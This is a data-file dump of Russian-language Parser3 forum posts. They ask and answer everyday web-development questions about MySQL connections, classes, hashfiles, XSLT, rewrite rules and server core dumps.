/parser/admin/: /home/tester/afunix.spb.ru/www/htdocs/parser/admin/index.phtml(28:5): '/opt/parser/lib/libparser3mysql.so' /opt/parser/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0 [<no type>]"
"50085","http://www.parser.ru/forum/?terms=+undefined+symbol%3A&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"50086","Возможно я где-то ошибаюсь или недопонимаю, объясните мне пожалуйста.\
\
[code]\
$a[$my_class:CLASS]\
$o[^a::create[]]\
[/code]\
\
Не создась объекта класса. А можно ли этого как-нибудь добиться?"
"50087","Простой сайт. При генерации страницы всего 1-3 sql запроса для ведение статистики. хостинг нормальный. парсер как cgi.\
\
При небольщом вспелеске посещяемости 800-1000 уникомов в день начинают сыпатся \
User **** has already more than 'max_user_connections' active connections \
или \
Lost connection to MySQL server during query ....\
\
имхо тут что-то не так, в чем может быть причина? Такое впечатление что сесии не очень хорошо закрываются. Потому что маловероятно наличие одновременно такого количества народа на сайте, как думаете в чем может быть причина?\
\
по форуму искал, close_connect сочили вроде как неразумным.. но ведь проблема где-то есть?"
"50089","Как в середине кода получить перечени уже подключенных классов (в любом виде)? Такое вообще возможно, или надо в какой-нибудь переменной вести перечень классов по мере подключения и уже чуть что в ней и искать?"
"50090","Было:\
[i][x] Friendly HTTP error messages[/i]\
\
Стало:\
[b][x] Выводить подробные сообщения об ошибках http (Friendly HTTP error messages)[/b]"
"50091","Возможно ли сделать такую конструкцию\
^if(def table){\
^table.menu{\
}\
Понятно что не очень правильно, но требуется именно так"
"50093","А толку с кода? обычные скл операции insert\\update\
\
[code]\
    в @Auto:\
    ^connect[$ConnectionString]{ \
           ^try{ ^BStat[] \
    }{ \
      $exception.handled(1)\
     ^ErrorNotyfi[$exception;$stack] } \
    }\
в @BStat\
 кода много привожу только используемые sql запросы\
^int:sql{SELECT ID FROM BStat WHERE ip='$env:REMOTE_ADDR' AND UAgent='$env:HTTP_USER_AGENT' AND lpage='^env:HTTP_REFERER.match[http://softvoile.com][]{}' ORDER BY id DESC limit 300}[$.default{-1}]\
\
^void:sql{UPDATE BStat SET comment=CONCAT(comment,'!!! Restored ID^#0A') WHERE id='$BStatID'}\
\
^int:sql{SELECT id FROM BStat WHERE ID='$BStatID' limit 1}[$.default{-1}]\
\
  $Query[UPDATE BStat SET \
	lpage='$request:uri' ,  \
	ldate='^curdate.sql-string[]',\
	HistoryPage=CONCAT(HistoryPage,'$request:uri^#0A'),\
	HistoryTime=CONCAT(HistoryTime,'^curdate.sql-string[]^#0A'),\
	HistoryRef=CONCAT(HistoryRef,'$ref^#0A'),\
	PageCount=PageCount+1\
	WHERE id='$BStatID' limit 1]\
  ^void:sql{$Query} \
\
$Query[INSERT INTO BStat VALUES(0, '$env:REMOTE_ADDR','^curdate.sql-string[]','^curdate.sql-string[]','$url','$query',  '$env:HTTP_REFERER','','$losted','$losted','$losted',0,0,0,0,0,0,0,0,'$env:HTTP_USER_AGENT','')]\
   ^void:sql{$Query} \
\
   $BStatID[^int:sql{SELECT id FROM BStat WHERE ip='$env:REMOTE_ADDR' ORDER BY id DESC limit 1}]\
[/code]\
\
Разумеется выполняются далеко не все они.\
\
Есть еще скрипт для подсчета статистики скачиваний, там пишется статистика и дальше идет редирект на сам ехе."
"50095","надо чтобы ^table.menu{\
вместе со скобкой заключалосьб в ^if\
\
Это временная мера, пока переписывается старый код."
"50098","[code]\
# test.p\
@CLASS\
myclass\
\
@print[s]\
    $result[$s]\
\
# вызываем в test.html\
^use[test.p]\
$sMyclass[$myclass:CLASS]\
^sMyclass.print[var]\
[/code]\
\
напечатает var."
"50101","Уже все переписал :)\
Просто хотлось как можно, быстрее, может кто-то знает."
"50102","Не. Не для дебагов, а для конструкций:\
[code]\
^if(My_class уже подключен){\
  делаем А\
}{\
  делаем Б\
}\
[/code]\
\
А My_class перед этим мог быть подключен, а мог и нет - в зависимости от каких-то внешних условий вызова страницы."
"50103","unknown charset\
ISO-8859-1\
\
Чего она вдруг вылезает эта ошибка? Изпользую XML, MySQL.\
Нигде не указываю этот charset."
"50104","Никакого криминала не увидел :)\
\
Надо копаться в логах БД и смотреть что у неё там с нагрузкой."
"50105","Опираясь на предоставленную тобой информацию точнее вряд-ли что можно определить."
"50107","Здравствуйте! \
Как на Parser можно осущетвить передачу переменных между страницами(подобно сессиям в PHP)?"
"50108","Можно попробовать грабить страничку ответа онлайн whois сервиса\
например, [url=\"http://x-news.ru/whois.php\"]этого[/url]"
"50109","Делается тривиально. используйте cookie или get переменнную для хранения идентификатора сессии и hasfile для переменных.\
На счет выключеных куков - поищите по форуму тут где-то валялся мой оператор для определения их включености."
"50111","[code]^try{\
	^if(def $My_class.var){}\
	делаем А\
}{\
	$exception.handled(1)\
	делаем Б\
}[/code]\
\
%-)"
"50112","Я ничего не знаю про My_class. Это чужой класс из не документированной библиотеки. Может у него есть $My_class.var , а может и нет :("
"50115","Это как ? А как сейчас просиходит? \
\
иногда я получа: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) '\
\
\
Хотелось бы уяснить, если я правильно понимаю юзер запрашивает страницу, запускается cgi, он обрабатывает страницу, закрывается. и в момент закрытия закрывает соединение так? и форсировать это никак нельзя?\
\
Кстати как можно посмотреть 'max_user_connections'?  <? phpinfo(); ?>  выдает что-то похожее но с другим именем, но там unlimited стоит."
"50116","[code][b]А[/b]	%D0%90\
[b]Б[/b]	%D0%91\
...[/code]\
\
у меня в таблице отсутствует буквы:\
[code][b]Ы\
ы[/b][/code]\
\
Подскажите код пожалуйста."
"50119","В Фабрике объектов новый объект создается на основе [i]имени класса[/i], а хотелось бы по [i]ссылке на класс[/i].\
\
Получается, что по ссылке на класс мы можем вызвать его метод, а объект этого класса создать не можем."
"50121","Для начала покажите что у Вас в переменной $ConnectionString. Строка подключения к базе через сокет (user:password@[/unix/socket]/database) чудно описана здесь http://www.parser.ru/docs/lang/app3mysql.htm .\
Посмотреть все переменные SHOW VARIABLES . какую-то конкретно - SHOW VARIABLES like 'max_user_connections'.\
\
У меня получалось подобное когда был сильно нагружен сетевой интерфейс. Подключение через сокет все вылечило."
"50122","Но вы ведь ссылку на класс можете создать только зная имя класса.\
\
А раз вы знаете имя то что мешает воспользоваться \"фабрикой объектов\"? (не создавая ссылку на класс)"
"50123","Спасибо за дискуссию"
"50124","Настроил на работу через сокет. посмотрим что будет.. \
Спасибо."
"50125","[code]^if($table){\
  ^table.menu{\
  .....\
  }\
}[/code]"
"50126","А если применять кэширование страниц с помощью ^cache[], а не sql.p ? Не очень хочется переписывать все процедуры, связанные с бд... Или, может быть, в этом файле есть какая-то изюминка?"
"50128","Файл с методами sql.p от Миши, с помощью которого мне посоветовали кэшировать запросы"
"50131","Скажите пожалуйста, как лучше организовать получение внешних параметров страницей?\
Например, index.html?id=2\
На странице нужно проверить, задан ли id, и присвоить $id(1), если не задан или задан некорректно (не целое число)\
Я пробовал [code]$params[$request:query]\
			^params.match[(.+)=(.+)][g]{\
				^if($match.1 eq \"id\" && def $match.2){\
					$id($match.2)\
				}\
			}[/code]\
Но помоему это чтото бредовое"
"50134","Эти версии вышли одновремено. \
PAF, а Вы не делали разделение версий? Это последовательные версии?"
"50135","в новостях описаны их различия, если кратко то: в 3.2.1 в отличии от 3.1.6 появились properties и избавились от gdome. \
\
из-за появившихся properties появилась небольшая несовместимость с предыдушими версиями."
"50136","два глупых вопроса: \
1. более старые версии parser работают (какие)?\
2. версия IIS=?"
"50137","Кешировать надо то, что обладаеть хоть какой то неизменчивостью.\
\
Согласитесь, нет смысла делать 2 (20, 1000 или более) одинаковых запросов для того что бы получить одни и те же данные. Поэтому такой запрос надо кешировать и, желательно, до тех пор пока данные не изменятся, а не какой то фиксированный промежуток времени.\
\
Если у вас в формировании страницы используется несколько запросов к базе (например 15), то есть смысл кешировать как отдельные запросы так и страницу вцелом (двухурвоневое кеширование). \
\
Кэширование страниц и отказ от кеширования запросов может быть оправданным, только если все данные в базе изменяются в один момент времени. А так как это практически не реально, то лучше всегда использовать кеширование запросов."
"50138","между properties и возможностью использовать taint[regex]?\
\
и еще интересно, каковы планы на будущее. Дальнейшее ветвление?"
"50139","уже немного рассказывал о строках:\
http://www.parser.ru/forum/?id=47403\
\
что строки в parser хранятся в виде деревьев — в таком виде самая частая операция «добавить кусочек к строке» выполняется молниеносно и время ее выполнения не зависит от длин исходного и добавляемого.\
\
многим очевидно, время от времени деревья надо ребалансировать, чтобы они не заваливались на левый бок. \
\
т.е. чтобы с ними было удобно работать, и не нужно было всё время далеко соскальзывать в левую сторону.\
\
сегодня забрел в кусок кода, реализующий это.\
кусок взят из библиотеки libgc(часть cords).\
любопытна вспомогательная функция [url=\"http://www.parser.ru/docs/src/cordbscs_8c-source.htm#l00664\"]CORD_init_min_len()[/url]\
\
подготавливающая массивчик ограничений на длины кусочков:\
[quote]\
(gdb) p min_len                                                                                                                $1 = {1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025,     121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986,   102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903, 2971215073, 2971215073, 2971215073}           \
[/quote]\
\
что погрело душу, так это что не глядя на исходник функции эти числа показались знакомыми.\
встречал их в детстве, в книжке «Занимательная Математика» Перельмана... это известные «[url=\"http://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8\"]числа Фибоначчи[/url]»."
"50144","[code]\
$events[^table::sql{\
	SELECT\
		id, \
		header, \
		date,\
		time\
		...\
	WHERE \
		date = '${now.year}-${now.month}-${now.day}'\
}]\
[/code]\
\
\
Как мне выбрать события, которые [b]по времени[/b] сегодня уже произошли?\
\
\
[code]\
$out[^events.select(...)]\
[/code]"
"50146","Но как выбрать строки где время события меньше текущего? Не отдельным запросом, а из общей таблицы событий за весь день."
"50147","Если вы из базы выбрали не дату, а UNIX_TIMESTAMP, т.е. количество секунд, то тогда так:\
[code]\
$dt_now[^date::now[]]\
$out[^events.select($events.date < ($dt_now * 24*60*60))]\
[/code]"
"50148","Если динамически создать объект класса, в котором открывается какой-либо hashfile, то создать другой объект того же класса не получится, а за 'existing variable' придется лезть непонятно куда.\
Решение: создавать все хешфайлы в MAIN, что некошерно, или же в отдельном объекте пользовательского класса, что возвращает нас к отсутствию необходимости генерировать ошибку при повторном открытии хешфайла."
"50151","Что то я никак не пойму.\
\
Есть xml\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<data>\
<type i=\"jpg\">Файл JPEG</type>\
</data>\
\
Делаю так:\
\
$data_file[^xdoc::load[/admin/file_type.xml]]\
$select[^data_file.selectSingle[//type[@i='jpg']]]\
$result[$select.nodeName]\
\
получаю \"jpg\"\
\
$data_file[^xdoc::load[/admin/file_type.xml]]\
$select[^data_file.selectSingle[//type[@i='jpg']]]\
$result[$select.nodeValue]\
\
получаю пустую строку \
\
Как получить значение узла ?"
"50152","в первом случае вы должны получить не 'jpg' а 'type'\
а чтобы получить буквы внутри тега вам нужно обратиться к дочернему элементу (который textNode) и достать nodeValue у него."
"50154","Через это $узел.childNodes ? Или как не пойму ? И что тогда для данного узла будет nodeValue ?"
"50155","А наличие педалей. Вроде, двигатель есть, а педалями тоже крутить надо:)\
\
Уверен, много кому пригодится:\
[code]\
#в auto.p/@auto:\
$hafala[^hashfile_noerror::create[]]\
# и в любом месте\
$mypool[^MAIN:hafala.open[/custom/userdata/pool]]\
\
@CLASS\
hashfile_noerror\
\
@create[]\
$hashfiles[^hash::create[]]\
\
@open[path][tmp]\
$tmp[^path.split[/;rh]] $tmp[$tmp.0]\
^if($hashfiles.$tmp is hashfile){^msg[605;already exists];\
	$hashfiles.$tmp[^hashfile::open[$path]]\
}\
$result[$hashfiles.$tmp]\
[/code]"
"50158","теперь представьте, что вы можете открыть один хешфайл несколько раз. представили? а теперь вспомните, что с ним могут быть как операции чтения, так и операции записи. чтобы нормально работать с несколькими открытыми хешфайлами и не отгребать deadlock-ов вам все равно пришлось бы писать собственный механизм блокировок. если рассмотреть все с этой точки зрения, то открывания одного файла один раз лично для меня выглядит простейшим способом избежать подобной головной боли. \
\
учитывая то, что кусок кода который открывает определенный файл и рассматривает его как хешфайл обычно один (ну... или это экземпляр одного класса), не вижу криминала сделать хешфайл переменной класса (если класс работает с несколькими хешфайлами, то хранить их все в хеше, который опять таки является переменной класса, а не объекта).\
\
да, спорить не буду, если бы парсер сам делал подобное, лично мне было бы удобнее, однако это было бы не совсем очевидно: создали два объекта, а получили по сути две ссылки на один объект. обычно в парсере такого не принято, а ссылки на один объект мы получаем не при создании объектов, а при присвоении переменных.\
\
так что я считаю это \"фичей\", а не \"багом\" :)"
"50159","[quote]\
3.1.4\
|\
+-> 3.1.5 -> 3.1.6\
|\
+-> 3.2.0 -> 3.2.1\
[/quote]\
\
и где тут последовательность? :)"
"50161","@create[] переименовать в @auto[]\
\
$hafala[^hashfile_noerror::create[]] - никуда не добавлять\
\
вызывать соотвт. так:\
$mypool[^hashfile_noerror:open[/custom/userdata/pool]]\
\
ну и со split поправить работу, т.к. файлы с одним именем может открываться из разных мест. пусть имя полное файла будет ключем в хеше, т.е.:\
\
[code]\
@open[path]\
^if($hashfiles.$path is \"hashfile\"){\
	^msg[605;already exists]\
}{\
	$hashfiles.$path[^hashfile::open[$path]]\
}\
$result[$hashfiles.$path]\
[/code]"
"50162","Нет это Вы конечно правы. Если судить по дате выхода версий то всё выглядит как вы изобразили. Но я думаю, что имелось ввиду именно то, что 3.2.1(3.2.0) идёт после 3.1.6(3.1.5) в техническом развитии. Т.е. версии последовательны. Это доказывает и то, что версия 3.2.1 включает в себя все изменения версии 3.1.6"
"50163","Как можно забанить посетителя, если он очень хочет попасть на сайт и использует для этого всё, до чего может додуматься??"
"50165","жаль(("
"50166","можно просто перенаправлять его. и всё создать общую таблицу айпишников и потом уже \"банить\" по нему если совпадет.. или добавлять cookie. а лучше cookie+ip"
"50167","Ссылки на объект, помимо прочего, используются при $newDate[$dateObject], по крайней мере до 3.1.4 - так что не вижу здесь нарушения принципов парсера."
"50169","я и говорил, что ссылки создаются при присвоении переменных.\
\
тут создаются разные объекты:\
[code]\
$d1[^date::new[]]\
$d2[^date::new[]]\
[/code]\
\
а тут создавался бы один:\
[code]\
$hf1[^hashfile::open[/file1]]\
$hf2[^hashfile::open[/file1]]\
[/code]"
"50170","никогда не пользовался, не слышал что существуют аналоги в других языках программирования...\
\
Если это аналог сериализации, то да это нужная штука, но так как это работает только с хешами и глючит по страшному, то нафик надо."
"50171","Помогите разобраться. Каким образом можно передать значение хэша $optiontext из @edit_voting[] \
в функцию @save_edit_voting[]\
У меня передается только первое значение хэша\
\
вот кусок кода...\
[code]\
^switch[$form:op]{\
	...\
	^case[edit_voting]{^vot.edit_voting[$form:poll_id]}\
	^case[save_edit_voting]{^vot.save_edit_voting[$form:polltitle;$form:acomm;$form:optiontext;$form:poll_id]}\
	...\
}\
\
\
@edit_voting[poll_id]\
^NaviCom[]\
$row[^MAIN:pSQL.table{SELECT * FROM survey WHERE poll_id='$poll_id'}]\
$num[^row.count[]]\
^if($num == 1){\
	<center><b>Редактировать опрос</b><br><br>\
	<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" align=\"center\">\
	<form action=\"?op=save_edit_voting\" method=\"post\">\
	<tr><td>Вопрос:</td><td><input type=\"text\" name=\"polltitle\" value=\"$row.poll_title\" size=\"65\"></td></tr>\
	^acomm[$row.acomm]\
	$optiontext[^hash::create[]]\
	$questions[^row.poll_questions.split[|;lh]] \
	^for[i](1;12){$optiontext.$i[0]}\
	^for[i](1;12){\
		$p($i-1)\
		<tr><td>Вариант ответа $i^:</td><td><input type=\"text\" name=\"$optiontext.$i\" value=\"$questions.$p\" size=\"65\"></td></tr>\
	}\
	</table><br>\
	<center><input type=\"hidden\" name=\"poll_id\" value=\"$poll_id\">\
	<input type=\"hidden\" name=\"op\" value=\"save_edit_voting\">\
	<input type=\"submit\" value=\"Сохранить\"></form></center>\
^visualization:debugShowObject[$optiontext]\
}\
\
@save_edit_voting[polltitle;acomm;optiontext;poll_id]\
^form:fields.foreach[field;value]{\
   $field - $value\
}[<br>]\
[/code]"
"50173","Потому что ^MAIN:hashfile_noerror:open - недопустимая конструкция, а из пользовательского класса иначе к другому пользовательскому классу не обратиться."
"50174","позволять ему писать в форум, гостевую etc - и не показывать его творчество никому, кроме него самого. \
\
\"- Доктор, меня никто не замечает! -Следующий!\""
"50176","test1.p\
[code]\
@CLASS\
test1\
\
@method[]\
test1\
[/code]\
\
\
test2.p\
[code]\
@CLASS\
test2\
\
@method[]\
test2\
^test1:method[]\
[/code]\
\
test.html\
[code]\
^use[test1.p]\
^use[test2.p]\
\
^test2:method[]\
[/code]"
"50177","Пишу в корневом auto.p : $rage[$status:rusage] , а мне отвечают, что класс не найден. Как же так?"
"50178","Статически вызывается нормально (из пользовательского класса)\
^hashfile_noerror:open[]\
А динамически - только так:\
^КЛАСС_КОНТЕКСТА:hashfile_noerror_exempler.open[]\
\
^hashfile_noerror_exempler.open[] - ошибка: не найден оператор."
"50179","вы же пишете $t[^table::create{}], а не $t[^MAIN:table::create{}], но $MAIN:t если создали объект-таблицу в MAIN когда пытаетесь добраться до неё из ругого места..."
"50182","> 1. более старые версии parser работают (какие)?\
сейчас проверил, 3.1.4 работает. Подменяю версию parser - IIS подвисает.\
\
>2. версия IIS=?\
Пятая (Windows 2000).\
\
\
Я вспомнил, что делал перед тем, как перестали работать 3.1.6 и 3.2.1 - я запускал \"aspnet_regiis -ga username\", чтобы заработали asp-скрипты на c#  Не знаю, как оно могло повлиять, правда.."
"50184","... вот читаю, вообще все посты из серии, умиляюсь, чувствую себя идиотом и желание научиться заново математике. Купил по этому поводу Сканави, для подготовки в ВУЗы и решил решать все примеры... Пока не могу даже с первым справиться %)))"
"50185","...Метод аналогичен методу menu класса table. Перебирает все ключи хеша и соответствующие им значения (порядок перебора не определен)...\
\
Чем это обоснованно?"
"50187","В xml документах, сохранённых приложениями OpenOffice (кстати, аналогично и для MS Word), имеются тэги типа <office:body>, <text:p>, <table:table>... То есть с префиксами office, text и т.д. \
\
xslt-трансформация такие тэги разбирать не хочет, вызовы методов select класса XNode дают ошибку «Undefined namespace prefix|xmlXPathCompOpEval: parameter error| [xml]».\
\
Как нужно с такими тэгами работать?"
"50188","сть ли какая-нибудь возможность защитить Парсерный код, наподобие Zend Optimizer?\
Вообще интересно как Студия защищает код веб-приложений."
"50190","из документации: «Не все операционные системы умеют возвращать эти значения (WinNT/Win2000/WinXP умеет все, Win98 умеет только tv_sec и tv_usec [3.0.8]).»\
\
вот у Вас какая ось?"
"50191","У меня Windows XP SP 2"
"50192","RewriteEngine On\
RewriteRule  ^base/name1/                 /base/?type=param1\
RewriteRule  ^base/name1/?param2=(.*)         /base/?type=param1&id=param2\
\
Первое работает, а второе -- нет. Помогите, пожалйста."
"50193","Вернее сказать\
\
RewriteRule ^base/name1/?param2=(.*) /base/?type=param1&id=$1"
"50194","Полноразмерное изображение открывается следующим образом. Размеры окна просчитываются автоматически.\
\
<a href=\"путь_к_изображению\" target=\"_blank\" onClick=\"popupWin=window.open(this.href, 'name', 'width=^eval($photo.width+20), height=^eval($photo.height+30), to p=0')^; popupWin.focus()^; return false^;\">preview</a>\
\
Проблема в том, что не закрывая окна при попытке открыть другое изображение размер окна остаётся прежним. Можно как-то поправить?"
"50195","если мне память не изменяет нужно идентификатор или имя окна другое поставить. Хотя могу ошибаться. Однозначно нужно книжку по яваскрипту листать."
"50197","Узнайте в вашей документации, чему соотвествует метасимвол «?»"
"50198","[code]$dt_now * 24*60*60[/code] - это что получится?"
"50199","1. Перед открытием закрывать окно с заданым именем\
2. Открывать в окне с другим именем"
"50200","Все просто\
[code]\
$events[^table::sql{\
	SELECT\
		id, \
		header, \
		date,\
		time,\
                if(now() > date, \"yes\", \"no\" ) as is_done\
\
		...\
	WHERE \
		date = '${now.year}-${now.month}-${now.day}'\
}]\
[/code]\
В таблице появится еще один столбец-маяк, по которому можно отбирать"
"50201","$dt_now * 24*60*60 -- это колличество секунд, прошедших с EPOCH (01.01.1970 00:00:00, UTC) до даты заданной в $dt_now\
\
$dt_now  -- содержик количество суток, прошедших с EPOCH"
"50202","mod_parser 3.2.1, windows. В некоторых случаях не показывает понятно, где я пропустил скобку, а вываливает \
\
[i].html(53:67): syntax error, unexpected BAD_METHOD_DECL_START, expecting ']' [/i]\
\
[b]bug.html[/b]:[code]@method[param]\
$result[\
	^taint[js][\
#	..тут я забыл закрыть квадратную скобку у taint\
]\
\
@next_method[param]\
....[/code]"
"50203","Защита очень бы пригодилась, хотя бы и простая\
 \
Вариант с компиляцией был бы очень кстати."
"50204","Обо метода работают. :) ...наконец"
"50205","Так ошибка:\
[code]^if(def $form:${inname}_day){Ok!}[/code]\
\
А так работает:\
[code]$nm[${inname}_day]\
^if(def $form:$nm){Ok!}\
[/code]\
\
Ему скобки {} в ифе не нравятся. Это я тупой, или проще переменную в day_$inname переназвать?"
"50206","Вам из попапа изображения в нём же менять надо?\
У меня вот так сделано..\
\
<a href=\"/show_image.html?id=$gall.id\" target=\"show_picture\" onClick=\"window.resizeTo('^eval($gall.or_x+180)','^eval($gall.or_y+180)')^;\" ><img src=\"i/l.jpg\" border=\"0\" /></a>"
"50208","Извиняюсь за глупый вопрос.. =)"
"50209","[b]Прблема следующая:[/b]\
Из базы данных новостей формируется XML-структура вида:\
\
[code]\
<news>\
<item date=\"2005-12-30\">\
   Текст новости <br/> второй абзац текст\
</item>\
<item date=\"2005-12-30\">\
   Текст новости 2 <br/> второй абзац текст\
</item>\
</news>\
[/code]\
\
[b]Задача:[/b]\
\
Нужно получить\
\
<b>2005-12-30</b>\
<br/>\
Текст новости 2 <br/> второй абзац текст\
\
Как получить значение атрибута date понятно. Однако никак не получается выбрать содержимое блока <item></item>.\
\
Если использовать\
[code]\
<xsl:value-of select=\".\"/>\
[/code]\
то получаем текст новости без тэгов.\
\
Если использовать\
[code]\
<xsl:copy-of select=\".\"/>\
[/code]\
\
То помимо самого текста мы получаем и <item></item>, внутри которых он находиться, что совершенно не нужно.\
\
Пока я эту проблемму решаю последующей обработкой: ищу с помощью Parser-а <item> и </item> и удаляю. Однако не всегда это удается сделать, да и код получается корявым...\
\
Как выбрать содержимое блока <item></item>, не копируя его самого?"
"50213","xml-элемент <item> у вас содержит три дочерных узла:\
1. текстовый узел \"Текст новости N\"\
2. узел-элемент <br />\
3. текстовый узел \"второй абзац текст\"\
\
Текстовое значение такого элемента (value-of) равняется строковому значению только первого узла, т.е \"Текст новости N\". А вам нужно обработать все дочерные узлы. \
\
Для этого используйте <xsl:applay-templates />\
и если вы хотите что бы <br /> попал в конечное дерево напишите шаблоно для этого элемента"
"50215","Сообщение возникает при попытке записать или удалить ключ hashfile. Примерно так: $hf.1[$.value[349F760ACA5218E6] $.expires(90)]\
Ошибка возникает при создании слишком большого и удаленного от точки работы с хешфайлом класса, чтобы его здесь приводить.\
Куда копать, в чем может быть проблема?"
"50216","Решил довести до ума CMS-систему, которую использую. Для того, чтобы она была универсальной, прилось использовать xsl-шаблонный метод. Да вот практики работы с xsl-ом пока маловато."
"50217","Ошибка возникает при превышении некоего объема загруженного кода или данных. То есть, удаляю строки из файла - в какой-то момент ошибка исчезает. добавляю 1 символ - снова появляется. \
В этот раз - примерно 50кб получилось. Иногда может быть больше, иногда - меньше."
"50220","Подскажите пожалуйста, запутался.\
Имеется в наличии индексы таблицы и значение ячейки с индексами. То-есть: \
Имя1 1 1; Имя2 1 2; Имя3 1 3\
Имя4 2 1; Имя5 2 2; Имя6 2 3; Имя7 2 4\
Имя5 3 1; Имя6 3 2; Имя7 3 3; Имя8 3 4; Имя9 3 5\
\
Как мне эти переменные преобразовать к удобоваримому виду, чтобы в ячейке с индексом лежало нужное значение? Что-то типа двумерного массива на Pascal, Си и т.п.?"
"50221","... вы уверены, что работать с индексами, а не именами удобнее? по мне так нет."
"50222","Привожу конкретный пример:\
abc_2_0\
tyu_1_1\
opr_1_0\
aba_2_1\
ppp_2_2\
ccc_2_3\
\
В итоге должно получиться что-то типа:\
\
opr tyu\
abc aba ppp ccc\
\
Подскажите как осуществить."
"50225","Спасибо, я разобрался сам."
"50226","Как типы объектов влияют на работу Engine?\
\
Не помню где, вы говорили что у вас есть типы: container, leaf, fake и др. Я понимаю что всего не расказать т.к можно придумать какой угодно тип для объекта. Но, все таки, не могли бы вы, на примере вот этих трех, в двух словах объяснить как тип объекта влияет на функциональность Engine?"
"50227","и по 6МБ хешфайлы живут, и даже по 40МБ были... \
\
с 40МБ возникала проблема, но другая: foreach по нему для очистки работал медленно и жрал память, но ПАФ это фиксил. в 3.2.1sp1 точно должно быть."
"50228","<branch-list>\
<branch type=\"container\" ...>\
	<title>О компании</title>\
</branch>\
...\
</branch-list>\
\
с общем больше никак. сейчас тип leaf совсем упразднен на ненадобностью (раньше в админе у объекта такого типа нельзя было создавать детей).\
\
\
ну ещё у типа объекта есть флаг: не имеет собственного представления на сайте (это \"фиктивный\" например). в этом случае путь заданный для такого объекта не влияет на пути его дочерних объектов, т.е. пути у него как-бы и не задано вовсе (\"-Ты суслика видишь? -Нет, не вижу. -Вот и я не вижу, а он есть.\")"
"50229","… с тех пор как появилось поле is_fake, Engine никак не реагирует на тип объекта. Тип используется только в работе шаблонов.\
\
факты по поводу is_fake\
1. объект этого типа не имеет своего full_path\
2. дети объекта этого типа считаются детьми его родителя при построении full_path\
3. этот объект не может иметь nesting<2\
\
Зачем вообще существует такой объект?\
Кто родитель детей fake-объекта (что у детей в parent_id)?"
"50230","никак не получается заставить парсер нормально работать.\
^eval(2+2) выполяет, а когда подставляю рабочий свой год - пишет \
$SQL:drivers table must be defined [parser.runtime], при чем вроде везде всё прописано правильно.\
\
Однако файл _test.html вообще выдал следующее:\
\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
\
upper\
\
\
В какую сторону копать? Заранее благодарю."
"50231","1. может иметь path и имеет full_path\
2. нет, они считаются детьми фиктивного объекта (в parent_id у них записан идентификатор фиктивного объекта) что и отображается при выводе структуры в виде xml\
3. может быть на любом уровне, хоть в корне (делали так).\
\
например тут: http://greenhills.ru/ есть фиктивные объекты \"Комплекс\", \"Инфраструктура\" и \"Как купить\". у каждого из них есть дочерние объекты (найдите их в меню и посмотрите на их full_path)."
"50232","...а также сконвертируйте _test.html в кодировку, заданную в $request:charset[]."
"50234","эээ parser из Apache_Swissknife"
"50235","23 февраля мой хостинг превысил квоту и повесил весь сервер.\
\
В результате анализа выяснилось, что в директории cgi-bin \"появился\" файл parser3.cgi.core размером примерно 10Мб.\
\
Забавно?!. Непредсказуемо: от причин и до последствий.\
\
Подскажите, гуру, из-за чего, как и чего ожидать."
"50236","У меня как то был core на 18Мб. Был кривой xml/xslt + не совсем оптимальный код на Парсере. Переписал практически весь движек -- в результате удалось уменьшить расход памяти почти в двое. Щас вроде бы нормально (Тьфу-тьфу-тьфу :)\
\
Посмотрите лог за этот день и проанализируйте ошибки в нем.\
Сделайте замеры, определите узкие места, займитесь оптимизацией кода.\
Сделайте для себя выводы: что именно было фатальным в вашем коде и никогда больше так не делайте."
"50238","RewriteRule  ^processing/coaching/\\?id=(.*)$         /processing/?articles_type_id=25&id=$"
"50239","Base_Parser_2005-01-05_a1.3.31_p4.3.9_m3.23.53_pma2.6.0_p311.exe"
"50240","отключите сами или попросите админов хостинга отключть генерацию этих файлов.\
и иещите узкие места в Вашем коде"
"50244","Это дамп памяти парсерного процесса в тот момент, когда он вызвал ошибку. Скорее всего, в parser3.log ничего не записалсь, поэтому ищите запись в логе самого вебсервера, примерно соответствующую дате создания .core-файла."
"50245","То есть появляется этот дамп и вешается, как я понял, парсер чуть ли не со всем сервером."
"50246","покупаете у хостера дисковую квоту впритык к сегодняшним потребностям."
"50247","Сервер, как правило, не вешается (но не всегда). Просто OS убивает \"зарвавшийся\" процесс и скидывает все его ядро в файл рядом с исполняемым."
"50248","другие процессы уже ничего на диск не запишут. Если от записи на диск в отдельных кусках кода зависит функционирование значительной части сайта, посетители получат ворох пятисотых ошибок вместо страниц."
"50250","тут вопрос стори о веб-приложениях, которые бы устанавливались на сервере клиента, либо второй вариант продавать их с веб-платформы, чтобы клиент имел доступ только как к сайту. Но на второй вариант не все соглашаются (вособеннсти когда речь о деньгах(например бухгалтерии) заходит)"
"50251","...ограничении памяти диска. Так? Или вдобавок оперативки?"
"50252","Ищу вебмастера в городе Санкт-Петербург.\
\
Задача: \
Разработать и развивать сайт (предполагаю MySQL, Parser, PHP).\
\
Требования:\
Высокий профессионализм.\
Умение предупредить появление проблемы а не исправлять ее последствия.\
\
Вид работы: \
По совместительству.\
\
Условия оплаты:\
Сдельная.\
\
Электропочта для связи: martyushin@pochta.ru"
"50253","У меня получилось примерно наоборот: квота превысилась при создании backapa и, как я теперь понимаю, произошло сохранение дампа процесса. Ни backapa ни рабочего сайта с превышенной теперь квотой parser3.cgi.core файлом.\
\
А насчет parser3.cgi.core стоит добавить вопрос в FAQ."
"50254","[code]\
	$events[^table::sql{\
		SELECT\
			...\
			if(now() > date_s, \"yes\", \"no\") as done\
		FROM\
			events\
		LEFT JOIN events_dates ON events.id=events_dates.id\
		WHERE \
			events_dates.date = '${now.year}-${now.month}-${now.day}'\
		GROUP BY ID\
		ORDER BY 'date_s' ASC\
	}[$.limit(16)]]\
\
\
